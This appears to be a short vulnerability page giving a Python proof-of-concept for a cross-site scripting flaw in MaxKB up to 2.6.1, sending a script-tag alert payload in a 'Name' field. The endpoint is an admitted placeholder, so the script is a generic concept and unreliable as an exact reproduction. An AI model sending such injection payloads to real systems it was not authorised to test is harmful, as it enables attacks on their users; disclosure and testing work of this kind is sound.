CVE-2026-6107 MaxKB跨站脚本漏洞

import requests # CVE-2026-6107 PoC Concept # Target: 1Panel-dev MaxKB <= 2.6.1 # Vulnerable Parameter: Name # Description: Injecting XSS payload via the 'Name' argument in the ChatHeadersMiddleware. target_url = "http://target-ip:port/api/vulnerable_endpoint" # Placeholder for the actual endpoint headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # Malicious payload to test XSS xss_payload = "<script>alert('CVE-2026-6107_XSS');</script>" data = { "Name": xss_payload, # The vulnerable parameter mentioned in the description "OtherParam": "value" } try: response = requests.post(target_url, json=data, headers=headers, verify=False) if response.status_code == 200: print(f"[+] Request sent successfully. Check if the alert triggers.") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")